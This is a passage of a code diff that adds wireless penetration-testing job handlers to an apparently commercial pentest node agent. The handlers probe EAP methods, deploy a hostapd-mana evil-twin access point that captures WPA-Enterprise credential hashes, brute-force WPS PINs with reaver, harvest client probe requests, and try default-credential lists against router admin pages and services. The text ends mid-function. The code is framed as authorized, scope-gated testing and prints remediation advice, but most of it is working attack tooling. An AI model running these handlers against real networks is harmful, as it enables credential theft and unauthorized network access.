+        'capture_file': capture_file or '',
+    })
+
+
+# ── P5: WPA Enterprise + Evil Twin ─────────────────────────────────────
+
+EAP_TYPES = {
+    1: 'Identity', 4: 'MD5-Challenge', 6: 'GTC', 13: 'TLS',
+    17: 'LEAP', 21: 'TTLS', 25: 'PEAP', 43: 'FAST', 47: 'EAP-pwd',
+    48: 'EKE', 52: 'TEAP', 55: 'EAP-NOOB',
+}
+
+EAP_WEAKNESSES = {
+    4: 'MD5-Challenge: no mutual auth, password hash crackable offline',
+    6: 'GTC: plaintext token/password over inner tunnel (if no outer tunnel, exposed)',
+    17: 'LEAP: MS-CHAPv1 based, trivially crackable with asleap',
+    21: 'TTLS: check inner method — if PAP, credentials sent in cleartext inside tunnel',
+    25: 'PEAP: if server cert not pinned, evil twin captures MSCHAPv2 hash',
+}
+
+
+def execute_eap_test(client: AegisNodeClient, job: dict):
+    """Probe WPA-Enterprise AP for supported EAP types and misconfigurations.
+
+    Uses wpa_supplicant identity probes to enumerate EAP methods, then
+    analyses for known weaknesses (no cert pinning, weak inner methods,
+    plaintext credential methods).
+    """
+    jid = job['job_id']
+    targets = job.get('targets', {})
+    target_bssid = targets.get('bssid', '')
+    target_ssid = targets.get('ssid', '')
+    params = job.get('parameters', {})
+    iface = params.get('interface', 'wlan0')
+    buf = OutputBuffer(client, jid)
+
+    buf.write('=' * 60 + '\n')
+    buf.write('[*] WPA ENTERPRISE EAP PROBE\n')
+    buf.write(f'    Target: {target_ssid} ({target_bssid})\n')
+    buf.write('=' * 60 + '\n\n')
+
+    detected_eap = []
+    vulnerabilities = []
+    cert_info = {}
+
+    # Step 1: Attempt EAP-Identity probe with wpa_supplicant
+    buf.write('[*] Phase 1: EAP type enumeration via identity probe\n')
+    for eap_num, eap_name in sorted(EAP_TYPES.items()):
+        conf = f'/tmp/aegis_eap_{jid}_{eap_num}.conf'
+        try:
+            with open(conf, 'w') as f:
+                f.write(f'network={{\n  ssid="{target_ssid}"\n  key_mgmt=WPA-EAP\n'
+                        f'  eap={eap_name.split("-")[0].upper()}\n  identity="probe"\n'
+                        f'  password="probe"\n  phase2="auth=MSCHAPV2"\n}}\n')
+            code, out = _exec_cmd(
+                buf,
+                ['timeout', '8', 'wpa_supplicant', '-i', iface, '-c', conf,
+                 '-D', 'nl80211', '-B'],
+                timeout=12, sudo=True,
+            )
+            # Check wpa_supplicant log for EAP response
+            time.sleep(2)
+            _, log_out = _run_quiet(
+                ['journalctl', '-u', 'wpa_supplicant', '--since', '10 seconds ago',
+                 '--no-pager', '-q'],
+                timeout=5,
+            )
+            if f'EAP-{eap_name}' in log_out or f'type {eap_num}' in log_out.lower():
+                detected_eap.append(eap_name)
+                buf.write(f'    [+] EAP-{eap_name} (type {eap_num}) ACCEPTED\n')
+                if eap_num in EAP_WEAKNESSES:
+                    vulnerabilities.append(EAP_WEAKNESSES[eap_num])
+                    buf.write(f'        ⚠ {EAP_WEAKNESSES[eap_num]}\n')
+            _run_quiet(['killall', '-9', 'wpa_supplicant'], timeout=3)
+        except Exception as e:
+            buf.write(f'    [-] Probe for {eap_name} failed: {e}\n')
+        finally:
+            if os.path.exists(conf):
+                os.unlink(conf)
+
+    # Step 2: Certificate analysis if PEAP/TTLS detected
+    if any(e in detected_eap for e in ('PEAP', 'TTLS', 'TLS')):
+        buf.write('\n[*] Phase 2: Server certificate analysis\n')
+        cert_conf = f'/tmp/aegis_cert_{jid}.conf'
+        cert_file = f'/tmp/aegis_cert_{jid}.pem'
+        try:
+            with open(cert_conf, 'w') as f:
+                f.write(f'network={{\n  ssid="{target_ssid}"\n  key_mgmt=WPA-EAP\n'
+                        f'  eap=PEAP\n  identity="certprobe"\n  password="certprobe"\n'
+                        f'  phase2="auth=MSCHAPV2"\n}}\n')
+            code, out = _exec_cmd(
+                buf,
+                ['timeout', '10', 'wpa_supplicant', '-i', iface, '-c', cert_conf,
+                 '-D', 'nl80211'],
+                timeout=15, sudo=True,
+            )
+            # Parse certificate details from output
+            cn_match = re.search(r'subject.*?CN\s*=\s*([^\n/,]+)', out, re.I)
+            issuer_match = re.search(r'issuer.*?CN\s*=\s*([^\n/,]+)', out, re.I)
+            if cn_match:
+                cert_info['cn'] = cn_match.group(1).strip()
+                buf.write(f'    Certificate CN: {cert_info["cn"]}\n')
+            if issuer_match:
+                cert_info['issuer'] = issuer_match.group(1).strip()
+                buf.write(f'    Issuer: {cert_info["issuer"]}\n')
+            if 'self-signed' in out.lower() or 'SELF_SIGNED' in out:
+                cert_info['self_signed'] = True
+                vulnerabilities.append('Server certificate is self-signed — evil twin trivial')
+                buf.write('    ⚠ SELF-SIGNED certificate detected\n')
+            _run_quiet(['killall', '-9', 'wpa_supplicant'], timeout=3)
+        except Exception as e:
+            buf.write(f'    [-] Certificate probe failed: {e}\n')
+        finally:
+            for f_path in (cert_conf, cert_file):
+                if os.path.exists(f_path):
+                    os.unlink(f_path)
+
+    # Step 3: Summary + remediation
+    buf.write('\n' + '=' * 60 + '\n')
+    if detected_eap:
+        buf.write(f'[+] Detected EAP types: {", ".join(detected_eap)}\n')
+    else:
+        buf.write('[-] No EAP types detected (AP may not be WPA-Enterprise)\n')
+    if vulnerabilities:
+        buf.write(f'[!] {len(vulnerabilities)} weakness(es) found:\n')
+        for v in vulnerabilities:
+            buf.write(f'    • {v}\n')
+        buf.write('\n[*] Remediation:\n')
+        buf.write('    - Enforce EAP-TLS with mutual certificate authentication\n')
+        buf.write('    - Disable legacy methods (MD5, GTC, LEAP)\n')
+        buf.write('    - Pin the RADIUS server certificate on all clients\n')
+        buf.write('    - Use WPA3-Enterprise (192-bit) where possible\n')
+    buf.write('=' * 60 + '\n')
+    buf.flush()
+
+    client.send_result(jid, {
+        'eap_types': detected_eap,
+        'eap_vulnerabilities': vulnerabilities,
+        'certificate': cert_info,
+        'target_bssid': target_bssid,
+        'target_ssid': target_ssid,
+    })
+
+
+HOSTAPD_MANA_CONF = """interface={iface}
+driver=nl80211
+ssid={ssid}
+channel={channel}
+hw_mode=g
+ieee80211n=1
+wpa=2
+wpa_key_mgmt=WPA-EAP
+ieee8021x=1
+eap_server=1
+eap_user_file=/tmp/aegis_et_{jid}_users
+ca_cert=/tmp/aegis_et_{jid}_ca.pem
+server_cert=/tmp/aegis_et_{jid}_srv.pem
+private_key=/tmp/aegis_et_{jid}_srv.key
+mana_wpe=1
+mana_credout=/tmp/aegis_et_{jid}_creds.txt
+"""
+
+MANA_EAP_USERS = """* PEAP,TTLS,TLS,FAST
+"t" TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC "password" [2]
+"""
+
+
+def execute_evil_twin(client: AegisNodeClient, job: dict):
+    """Deploy an evil twin AP to capture WPA-Enterprise credentials.
+
+    Uses hostapd-mana to impersonate the target AP. This is the most
+    aggressive wireless technique — it broadcasts a fake AP that reaches
+    every client in range. Only runs with explicit evil_twin_allowed.
+
+    The scope gate is enforced server-side; this handler trusts it.
+    """
+    jid = job['job_id']
+    targets = job.get('targets', {})
+    target_bssid = targets.get('bssid', '')
+    target_ssid = targets.get('ssid', '')
+    channel = targets.get('channel', 6)
+    params = job.get('parameters', {})
+    iface = params.get('interface', 'wlan0')
+    duration = params.get('duration', 120)
+    buf = OutputBuffer(client, jid)
+
+    buf.write('=' * 60 + '\n')
+    buf.write('[*] EVIL TWIN AP DEPLOYMENT\n')
+    buf.write(f'    Target SSID: {target_ssid}\n')
+    buf.write(f'    Target BSSID: {target_bssid}\n')
+    buf.write(f'    Channel: {channel}\n')
+    buf.write(f'    Duration: {duration}s\n')
+    buf.write('[!] SCOPE-GATED: evil_twin_allowed=True required\n')
+    buf.write('=' * 60 + '\n\n')
+
+    cred_file = f'/tmp/aegis_et_{jid}_creds.txt'
+    conf_file = f'/tmp/aegis_et_{jid}.conf'
+    users_file = f'/tmp/aegis_et_{jid}_users'
+    cert_prefix = f'/tmp/aegis_et_{jid}'
+
+    # Step 1: Generate self-signed certs for the fake RADIUS
+    buf.write('[*] Phase 1: Generating rogue certificates...\n')
+    for ext, args in [
+        ('_ca.key', ['-genrsa', '-out', f'{cert_prefix}_ca.key', '2048']),
+        ('_ca.pem', ['-req', '-new', '-x509', '-key', f'{cert_prefix}_ca.key',
+                     '-out', f'{cert_prefix}_ca.pem', '-days', '1',
+                     '-subj', f'/CN=Aegis-ET-{jid}']),
+        ('_srv.key', ['-genrsa', '-out', f'{cert_prefix}_srv.key', '2048']),
+    ]:
+        code, out = _run_quiet(['openssl'] + args, timeout=10)
+        if code != 0:
+            client.send_error(jid, f'Certificate generation failed: {out[:200]}')
+            return
+
+    # Server CSR + sign
+    code, _ = _run_quiet(['openssl', 'req', '-new', '-key', f'{cert_prefix}_srv.key',
+                          '-out', f'{cert_prefix}_srv.csr',
+                          '-subj', f'/CN={target_ssid}'], timeout=10)
+    code, _ = _run_quiet(['openssl', 'x509', '-req', '-in', f'{cert_prefix}_srv.csr',
+                          '-CA', f'{cert_prefix}_ca.pem', '-CAkey', f'{cert_prefix}_ca.key',
+                          '-CAcreateserial', '-out', f'{cert_prefix}_srv.pem',
+                          '-days', '1'], timeout=10)
+    buf.write('    [+] Rogue certificates ready\n')
+
+    # Step 2: Write hostapd-mana config
+    buf.write('[*] Phase 2: Configuring hostapd-mana...\n')
+    with open(users_file, 'w') as f:
+        f.write(MANA_EAP_USERS)
+    conf_content = HOSTAPD_MANA_CONF.format(
+        iface=iface, ssid=target_ssid, channel=channel, jid=jid,
+    )
+    with open(conf_file, 'w') as f:
+        f.write(conf_content)
+
+    # Step 3: Enter monitor mode and set channel
+    buf.write('[*] Phase 3: Preparing interface...\n')
+    _enter_monitor_mode(iface, buf)
+
+    # Step 4: Launch hostapd-mana
+    buf.write(f'[*] Phase 4: Launching evil twin for {duration}s...\n')
+    has_mana, _ = _run_quiet(['which', 'hostapd-mana'])
+    hostapd_bin = 'hostapd-mana' if has_mana == 0 else 'hostapd'
+
+    try:
+        proc = subprocess.Popen(
+            ['sudo', hostapd_bin, conf_file],
+            stdout=subprocess.PIPE, stderr=subprocess.STDOUT,
+            text=True,
+        )
+        start = time.time()
+        while time.time() - start < duration:
+            line = ''
+            try:
+                line = proc.stdout.readline()
+            except Exception:
+                pass
+            if line:
+                buf.write(f'    {line.rstrip()}\n')
+                if 'mana_wpe' in line.lower() or 'credential' in line.lower():
+                    buf.write('    [+] *** CREDENTIAL CAPTURED ***\n')
+            time.sleep(0.5)
+    finally:
+        if proc.poll() is None:
+            _run_quiet(['sudo', 'kill', str(proc.pid)], timeout=5)
+            proc.wait(timeout=5)
+        _exit_monitor_mode(iface, buf)
+
+    # Step 5: Parse captured credentials
+    captures = 0
+    credential_list = []
+    if os.path.exists(cred_file):
+        with open(cred_file) as f:
+            for line in f:
+                line = line.strip()
+                if not line or line.startswith('#'):
+                    continue
+                captures += 1
+                # hostapd-mana format: username:challenge:response or MSCHAPV2 hashes
+                parts = line.split(':')
+                cred = {'raw': line}
+                if len(parts) >= 1:
+                    cred['username'] = parts[0]
+                if len(parts) >= 3:
+                    cred['challenge'] = parts[1]
+                    cred['response'] = parts[2]
+                credential_list.append(cred)
+                buf.write(f'    [+] Credential: {parts[0] if parts else "?"}\n')
+
+    # Step 6: Summary
+    buf.write('\n' + '=' * 60 + '\n')
+    if captures:
+        buf.write(f'[+] EVIL TWIN CAPTURED {captures} credential(s)\n')
+        buf.write('[*] MSCHAPv2 hashes can be cracked with asleap or hashcat -m 5500\n')
+        buf.write('[*] Remediation:\n')
+        buf.write('    - Enforce certificate pinning on ALL clients\n')
+        buf.write('    - Deploy EAP-TLS with mutual authentication\n')
+        buf.write('    - Enable 802.11w (Management Frame Protection)\n')
+        buf.write('    - Train users to verify certificate prompts\n')
+    else:
+        buf.write('[-] No credentials captured during the observation window\n')
+        buf.write('[*] Try extending the duration or deploying during peak hours\n')
+    buf.write('=' * 60 + '\n')
+    buf.flush()
+
+    # Cleanup temp files
+    for pattern in (f'{cert_prefix}_*', conf_file, users_file):
+        import glob
+        for fp in glob.glob(pattern):
+            try:
+                os.unlink(fp)
+            except OSError:
+                pass
+
+    client.send_result(jid, {
+        'evil_twin_captures': captures,
+        'credentials': credential_list,
+        'target_ssid': target_ssid,
+        'target_bssid': target_bssid,
+        'channel': channel,
+        'duration': duration,
+        'hostapd_binary': hostapd_bin,
+    })
+
+
+# ── P6: Full Pentest Toolkit ──────────────────────────────────────────────
+
+# Top default credentials per vendor for router_admin and default_creds
+ROUTER_DEFAULTS = [
+    ('admin', 'admin'), ('admin', 'password'), ('admin', ''), ('admin', '1234'),
+    ('admin', '12345'), ('root', 'root'), ('root', ''), ('user', 'user'),
+    ('admin', 'admin123'), ('cisco', 'cisco'), ('ubnt', 'ubnt'),
+    ('pi', 'raspberry'), ('admin', 'changeme'),
+]
+
+SERVICE_DEFAULTS = {
+    'ssh': [('root', 'root'), ('admin', 'admin'), ('pi', 'raspberry'), ('ubnt', 'ubnt')],
+    'telnet': [('admin', 'admin'), ('root', 'root'), ('admin', '')],
+    'ftp': [('anonymous', ''), ('admin', 'admin'), ('ftp', 'ftp')],
+    'mysql': [('root', ''), ('root', 'root'), ('root', 'mysql')],
+    'postgres': [('postgres', 'postgres'), ('postgres', '')],
+    'snmp': [('public', ''), ('private', ''), ('community', '')],
+    'http': ROUTER_DEFAULTS,
+}
+
+HIGH_VALUE_PORTS = {
+    22: 'SSH', 23: 'Telnet', 80: 'HTTP', 443: 'HTTPS', 445: 'SMB',
+    3306: 'MySQL', 5432: 'PostgreSQL', 1433: 'MSSQL', 1521: 'Oracle',
+    27017: 'MongoDB', 6379: 'Redis', 389: 'LDAP', 636: 'LDAPS',
+    88: 'Kerberos', 8080: 'HTTP-Alt', 8443: 'HTTPS-Alt',
+    21: 'FTP', 25: 'SMTP', 110: 'POP3', 143: 'IMAP',
+    161: 'SNMP', 5900: 'VNC', 3389: 'RDP',
+    104: 'DICOM', 2575: 'HL7', 502: 'Modbus', 47808: 'BACnet',
+    554: 'RTSP', 8554: 'RTSP-Alt',
+}
+
+
+def execute_wps_attack(client: AegisNodeClient, job: dict):
+    """WPS PIN attack: Pixie Dust (seconds) then online brute force."""
+    jid = job['job_id']
+    targets = job.get('targets', {})
+    target_bssid = targets.get('bssid', '')
+    params = job.get('parameters', {})
+    iface = params.get('interface', 'wlan0')
+    buf = OutputBuffer(client, jid)
+
+    buf.write('=' * 60 + '\n')
+    buf.write('[*] WPS PIN ATTACK\n')
+    buf.write(f'    Target: {target_bssid}\n')
+    buf.write('=' * 60 + '\n\n')
+
+    mon_iface = _enter_monitor_mode(iface, buf)
+    actual_iface = mon_iface or iface
+    pin = ''
+    psk = ''
+    method = ''
+
+    try:
+        # Phase 1: Check WPS status with wash
+        buf.write('[*] Phase 1: Checking WPS status...\n')
+        code, out = _exec_cmd(buf, ['sudo', 'wash', '-i', actual_iface, '-s', '-C'],
+                              timeout=15)
+        if target_bssid.upper() not in out.upper():
+            buf.write(f'[-] Target {target_bssid} WPS not detected by wash\n')
+
+        # Phase 2: Pixie Dust (offline, near-instant)
+        buf.write('\n[*] Phase 2: Pixie Dust attack (offline)...\n')
+        code, out = _exec_cmd(
+            buf, ['sudo', 'reaver', '-i', actual_iface, '-b', target_bssid,
+                  '-K', '1', '-vv', '-N'],
+            timeout=120,
+        )
+        pin_match = re.search(r"WPS PIN:\s*'?(\d{8})'?", out)
+        psk_match = re.search(r"WPA PSK:\s*'([^']+)'", out)
+        if pin_match:
+            pin = pin_match.group(1)
+            psk = psk_match.group(1) if psk_match else ''
+            method = 'pixie_dust'
+            buf.write(f'\n[+] PIXIE DUST SUCCESS!\n')
+            buf.write(f'    PIN: {pin}\n')
+            if psk:
+                buf.write(f'    PSK: {psk}\n')
+
+        # Phase 3: Online brute force if Pixie Dust failed
+        if not pin:
+            buf.write('\n[*] Phase 3: Online PIN brute force...\n')
+            buf.write('    (this may take hours — monitoring for lockout)\n')
+            code, out = _exec_cmd(
+                buf, ['sudo', 'reaver', '-i', actual_iface, '-b', target_bssid,
+                      '-vv', '-N', '-d', '2', '-r', '3:30'],
+                timeout=900,
+            )
+            if 'rate limiting' in out.lower() or 'locked' in out.lower():
+                buf.write('\n[!] WPS lockout detected — stopping\n')
+            pin_match = re.search(r"WPS PIN:\s*'?(\d{8})'?", out)
+            psk_match = re.search(r"WPA PSK:\s*'([^']+)'", out)
+            if pin_match:
+                pin = pin_match.group(1)
+                psk = psk_match.group(1) if psk_match else ''
+                method = 'brute_force'
+                buf.write(f'\n[+] WPS BRUTE FORCE SUCCESS!\n')
+                buf.write(f'    PIN: {pin}\n')
+                if psk:
+                    buf.write(f'    PSK: {psk}\n')
+    finally:
+        _exit_monitor_mode(actual_iface, iface, buf)
+
+    buf.write('\n' + '=' * 60 + '\n')
+    if pin:
+        buf.write(f'[+] WPS PIN RECOVERED: {pin}\n')
+        buf.write('[*] Remediation: DISABLE WPS immediately on all APs.\n')
+        buf.write('    WPS bypasses password complexity entirely.\n')
+    else:
+        buf.write('[-] WPS attack unsuccessful (locked out or not vulnerable)\n')
+    buf.write('=' * 60 + '\n')
+    buf.flush()
+
+    client.send_result(jid, {
+        'wps_pin': pin, 'wps_psk': psk, 'method': method,
+        'target_bssid': target_bssid,
+    })
+
+
+def execute_probe_harvest(client: AegisNodeClient, job: dict):
+    """Passive monitor-mode collection of client probe requests."""
+    jid = job['job_id']
+    params = job.get('parameters', {})
+    iface = params.get('interface', 'wlan0')
+    duration = params.get('duration', 120)
+    buf = OutputBuffer(client, jid)
+
+    buf.write('=' * 60 + '\n')
+    buf.write('[*] CLIENT PROBE REQUEST HARVEST\n')
+    buf.write(f'    Duration: {duration}s (passive monitor mode)\n')
+    buf.write('=' * 60 + '\n\n')
+
+    mon_iface = _enter_monitor_mode(iface, buf)
+    actual_iface = mon_iface or iface
+    clients = {}  # mac -> set of probed SSIDs
+
+    try:
+        buf.write('[*] Capturing probe requests...\n')
+        proc = subprocess.Popen(
+            ['sudo', 'tcpdump', '-i', actual_iface, '-e', '-l',
+             'type', 'mgt', 'subtype', 'probe-req'],
+            stdout=subprocess.PIPE, stderr=subprocess.DEVNULL, text=True,
+        )
+        start = time.time()
+        while time.time() - start < duration:
+            try:
+                line = proc.stdout.readline()
+            except Exception:
+                break
+            if not line:
+                continue
+            # Parse: SA:xx:xx:xx:xx:xx ... Probe Request (SSID)
+            sa_match = re.search(r'SA:([0-9a-f:]{17})', line, re.I)
+            ssid_match = re.search(r'Probe Request \(([^)]+)\)', line)
+            if sa_match and ssid_match:
+                mac = sa_match.group(1).lower()
+                ssid = ssid_match.group(1).strip()
+                if ssid and ssid != 'Broadcast':
+                    if mac not in clients:
+                        clients[mac] = set()
+                    clients[mac].add(ssid)
+                    buf.write(f'    {mac} → "{ssid}"\n')
+        proc.terminate()
+        proc.wait(timeout=5)
+    finally:
+        _exit_monitor_mode(actual_iface, iface, buf)
+
+    total_clients = len(clients)
+    total_ssids = len({s for ss in clients.values() for s in ss})
+    serializable = {mac: sorted(ssids) for mac, ssids in clients.items()}
+
+    buf.write('\n' + '=' * 60 + '\n')
+    buf.write(f'[+] {total_clients} client(s) probing {total_ssids} unique SSID(s)\n')
+    if clients:
+        buf.write('[!] Clients leak their network history via probe requests.\n')
+        buf.write('[*] Remediation: Enable MAC randomization, disable auto-connect\n')
+        buf.write('    to saved networks, remove stale saved SSIDs.\n')
+    buf.write('=' * 60 + '\n')
+    buf.flush()
+
+    client.send_result(jid, {
+        'clients': serializable,
+        'total_clients': total_clients,
+        'total_unique_ssids': total_ssids,
+    })
+
+
+def execute_encryption_audit(client: AegisNodeClient, job: dict):
+    """Audit encryption strength of all visible APs from scan data."""
+    jid = job['job_id']
+    params = job.get('parameters', {})
+    iface = params.get('interface', 'wlan0')
+    duration = params.get('duration', 30)
+    buf = OutputBuffer(client, jid)
+
+    buf.write('=' * 60 + '\n')
+    buf.write('[*] WIRELESS ENCRYPTION AUDIT\n')
+    buf.write('=' * 60 + '\n\n')
+
+    mon_iface = _enter_monitor_mode(iface, buf)
+    actual_iface = mon_iface or iface
+
+    try:
+        csv_file = f'/tmp/aegis_audit_{jid}'
+        buf.write('[*] Scanning all channels...\n')
+        proc = subprocess.Popen(
+            ['sudo', 'airodump-ng', actual_iface, '-w', csv_file, '--output-format', 'csv',
+             '--write-interval', '5'],
+            stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
+        )
+        time.sleep(duration)
+        proc.terminate()
+        proc.wait(timeout=10)
+
+        networks, _ = _parse_airodump_csv(f'{csv_file}-01.csv')
+    finally:
+        _exit_monitor_mode(actual_iface, iface, buf)
+
+    findings = []
+    for net in networks:
+        issues = []
+        enc = (net.get('encryption', '') or '').upper()
+
+        if 'OPN' in enc or enc == '':
+            issues.append(('CRITICAL', 'Open network — no encryption'))
+        elif 'WEP' in enc:
+            issues.append(('CRITICAL', 'WEP — trivially crackable in minutes'))
+        elif 'WPA' in enc and 'WPA2' not in enc and 'WPA3' not in enc:
+            issues.append(('HIGH', 'WPA1 only — TKIP is deprecated and crackable'))
+        if 'TKIP' in enc:
+            issues.append(('MEDIUM', 'TKIP cipher — deprecated, use CCMP/AES'))
+        if 'PSK' in enc and 'SAE' not in enc:
+            issues.append(('INFO', 'WPA2-PSK — no WPA3-SAE upgrade'))
+
+        vendor = _oui_lookup(net.get('bssid', ''))
+        if vendor:
+            net['vendor'] = vendor
+        if issues:
+            findings.append({'network': net, 'issues': issues})
+            for sev, desc in issues:
+                buf.write(f'  [{sev}] {net.get("ssid", "?")} ({net.get("bssid", "?")}): {desc}\n')
+
+    critical = sum(1 for f in findings for s, _ in f['issues'] if s == 'CRITICAL')
+    high = sum(1 for f in findings for s, _ in f['issues'] if s == 'HIGH')
+
+    buf.write('\n' + '=' * 60 + '\n')
+    buf.write(f'[+] Audited {len(networks)} network(s): {critical} CRITICAL, {high} HIGH\n')
+    buf.write('[*] Standards: PCI-DSS 4.0 §4.2, NIST SP 800-153, ISO 27001 A.13\n')
+    buf.write('=' * 60 + '\n')
+    buf.flush()
+
+    client.send_result(jid, {
+        'networks_audited': len(networks),
+        'findings': findings,
+        'critical_count': critical,
+        'high_count': high,
+    })
+
+
+def execute_sister_scan(client: AegisNodeClient, job: dict):
+    """Discover sister/related networks by correlating OUI, SSID patterns, and BSSID clusters."""
+    jid = job['job_id']
+    params = job.get('parameters', {})
+    iface = params.get('interface', 'wlan0')
+    duration = params.get('duration', 30)
+    buf = OutputBuffer(client, jid)
+
+    buf.write('=' * 60 + '\n')
+    buf.write('[*] SISTER NETWORK DISCOVERY\n')
+    buf.write('=' * 60 + '\n\n')
+
+    mon_iface = _enter_monitor_mode(iface, buf)
+    actual_iface = mon_iface or iface
+
+    try:
+        csv_file = f'/tmp/aegis_sister_{jid}'
+        proc = subprocess.Popen(
+            ['sudo', 'airodump-ng', actual_iface, '-w', csv_file, '--output-format', 'csv',
+             '--write-interval', '5'],
+            stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL,
+        )
+        time.sleep(duration)
+        proc.terminate()
+        proc.wait(timeout=10)
+        networks, _ = _parse_airodump_csv(f'{csv_file}-01.csv')
+    finally:
+        _exit_monitor_mode(actual_iface, iface, buf)
+
+    # Cluster by OUI prefix (same vendor = likely same deployment)
+    oui_clusters = {}
+    for net in networks:
+        bssid = net.get('bssid', '')
+        if len(bssid) >= 8:
+            oui = bssid[:8].upper()
+            vendor = _oui_lookup(bssid) or 'Unknown'
+            key = f'{oui} ({vendor})'
+            oui_clusters.setdefault(key, []).append(net)
+
+    # Cluster by SSID pattern (Corp-Guest, Corp-Staff, Corp-IoT)
+    ssid_groups = {}
+    for net in networks:
+        ssid = net.get('ssid', '')
+        if not ssid:
+            continue
+        base = re.sub(r'[-_](guest|staff|iot|admin|internal|secure|5g|2g|ext)\b', '',
+                      ssid, flags=re.I).strip()
+        if base:
+            ssid_groups.setdefault(base, []).append(net)
+
+    # Identify multi-SSID deployments (same OUI, multiple SSIDs)
+    multi_ssid = {k: v for k, v in oui_clusters.items() if len(v) > 1}
+    related_ssids = {k: v for k, v in ssid_groups.items() if len(v) > 1}
+
+    buf.write('[+] OUI Clusters (same hardware vendor):\n')
+    for key, nets in sorted(multi_ssid.items(), key=lambda x: -len(x[1])):
+        ssids = sorted({n.get('ssid', '?') for n in nets})
+        buf.write(f'    {key}: {len(nets)} AP(s) → {", ".join(ssids)}\n')
+
+    buf.write('\n[+] SSID Family Groups:\n')
+    for base, nets in sorted(related_ssids.items(), key=lambda x: -len(x[1])):
+        ssids = sorted({n.get('ssid', '?') for n in nets})
+        buf.write(f'    "{base}*": {", ".join(ssids)}\n')
+
+    buf.write('\n' + '=' * 60 + '\n')
+    buf.write(f'[+] {len(networks)} networks in {len(oui_clusters)} vendor cluster(s), '
+              f'{len(related_ssids)} SSID family group(s)\n')
+    buf.write('[*] Sister networks on same hardware often share VLANs.\n')
+    buf.write('    Compromising one may grant access to others.\n')
+    buf.write('=' * 60 + '\n')
+    buf.flush()
+
+    client.send_result(jid, {
+        'total_networks': len(networks),
+        'oui_clusters': {k: [n.get('ssid', '') for n in v] for k, v in oui_clusters.items()},
+        'ssid_families': {k: [n.get('ssid', '') for n in v] for k, v in ssid_groups.items()},
+        'multi_ssid_deployments': len(multi_ssid),
+    })
+
+
+def execute_router_admin(client: AegisNodeClient, job: dict):
+    """Attempt default credentials on the network gateway after join."""
+    jid = job['job_id']
+    params = job.get('parameters', {})
+    buf = OutputBuffer(client, jid)
+
+    buf.write('=' * 60 + '\n')
+    buf.write('[*] ROUTER ADMIN ACCESS TEST\n')
+    buf.write('=' * 60 + '\n\n')
+
+    # Discover gateway
+    buf.write('[*] Phase 1: Discovering gateway...\n')
+    code, out = _run_quiet(['ip', 'route', 'show', 'default'], timeout=5)
+    gw_match = re.search(r'default via (\d+\.\d+\.\d+\.\d+)', out)
+    if not gw_match:
+        buf.write('[-] No default gateway found. Are you connected to a network?\n')
+        buf.flush()
+        client.send_result(jid, {'router_admin_access': False, 'error': 'No gateway'})
+        return
+
+    gateway = gw_match.group(1)
+    buf.write(f'    Gateway: {gateway}\n')
+
+    # Check gateway MAC for vendor
+    code, arp_out = _run_quiet(['arp', '-n', gateway], timeout=5)
+    gw_mac = ''
+    mac_match = re.search(r'([0-9a-f:]{17})', arp_out, re.I)
+    if mac_match:
+        gw_mac = mac_match.group(1)
+        vendor = _oui_lookup(gw_mac)
+        buf.write(f'    MAC: {gw_mac} ({vendor or "Unknown"})\n')
+
+    # Phase 2: Port scan gateway
+    buf.write('\n[*] Phase 2: Scanning gateway services...\n')
+    open_ports = []
+    for port in (80, 443, 8080, 8443, 22, 23):
+        code, _ = _run_quiet(['timeout', '3', 'bash', '-c',
+                              f'echo >/dev/tcp/{gateway}/{port}'], timeout=5)
+        if code == 0:
+            open_ports.append(port)
+            buf.write(f'    [+] Port {port} OPEN\n')
+
+    # Phase 3: Try default credentials on HTTP(S)
+    admin_access = False
+    admin_creds = ''
+    firmware = ''
+    buf.write('\n[*] Phase 3: Testing default credentials...\n')
+    for port in [p for p in open_ports if p in (80, 443, 8080, 8443)]:
+        scheme = 'https' if port in (443, 8443) else 'http'
+        url = f'{scheme}://{gateway}:{port}'
+        for user, pwd in ROUTER_DEFAULTS:
+            try:
+                import urllib.request
+                import urllib.error
+                import base64
+                cred_str = base64.b64encode(f'{user}:{pwd}'.encode()).decode()
+                req = urllib.request.Request(url, headers={
+                    'Authorization': f'Basic {cred_str}',
+                    'User-Agent': 'Mozilla/5.0',
+                })
+                ctx = __import__('ssl').create_default_context()
+                ctx.check_hostname = False
+                ctx.verify_mode = __import__('ssl').CERT_NONE
+                resp = urllib.request.urlopen(req, timeout=5, context=ctx)
+                body = resp.read(4096).decode('utf-8', errors='replace')
+                if resp.status == 200 and ('dashboard' in body.lower() or
+                        'firmware' in body.lower() or 'router' in body.lower() or
+                        'admin' in body.lower() or 'configuration' in body.lower()):
+                    admin_access = True
+                    admin_creds = f'{user}:{pwd}'
+                    fw_match = re.search(r'(?:firmware|version)[:\s]*([^\s<"]+)', body, re.I)
+                    if fw_match:
+                        firmware = fw_match.group(1)
+                    buf.write(f'\n[+] ✓ ADMIN ACCESS on {url}\n')
+                    buf.write(f'    Credentials: {user}:{pwd}\n')
+                    if firmware:
+                        buf.write(f'    Firmware: {firmware}\n')
+                    break
+            except Exception:
+                continue
+        if admin_access:
+            break
+
+    buf.write('\n' + '=' * 60 + '\n')
+    if admin_access:
+        buf.write('[+] ROUTER ADMIN ACCESS ACHIEVED\n')
+        buf.write('[*] Impact: Full network control — DNS hijack, firmware\n')
+        buf.write('    backdoor, traffic interception, credential theft.\n')
+        buf.write('[*] Remediation: Change default credentials immediately,\n')
+        buf.write('    restrict admin to management VLAN, enable MFA.\n')
+    else:
+        buf.write('[-] Default credentials did not work on gateway\n')
+    buf.write('=' * 60 + '\n')
+    buf.flush()
+
+    client.send_result(jid, {
+        'router_admin_access': admin_access,
+        'gateway_ip': gateway,
+        'gateway_mac': gw_mac,
+        'admin_creds': admin_creds,
+        'firmware': firmware,
+        'open_ports': open_ports,
+    })
+
+
+def execute_default_creds(client: AegisNodeClient, job: dict):
+    """Test default credentials on all discovered services after join."""
+    jid = job['job_id']
+    params = job.get('parameters', {})
+    targets_data = job.get('targets', {})
+    subnet = targets_data.get('subnet', '')
+    buf = OutputBuffer(client, jid)
+
+    buf.write('=' * 60 + '\n')
+    buf.write('[*] DEFAULT CREDENTIAL SCAN\n')
+    buf.write('=' * 60 + '\n\n')
+
+    # Discover live hosts + services
+    if not subnet:
+        code, out = _run_quiet(['ip', '-4', '-o', 'addr', 'show'], timeout=5)
+        cidr_match = re.search(r'inet (\d+\.\d+\.\d+\.\d+/\d+)', out)
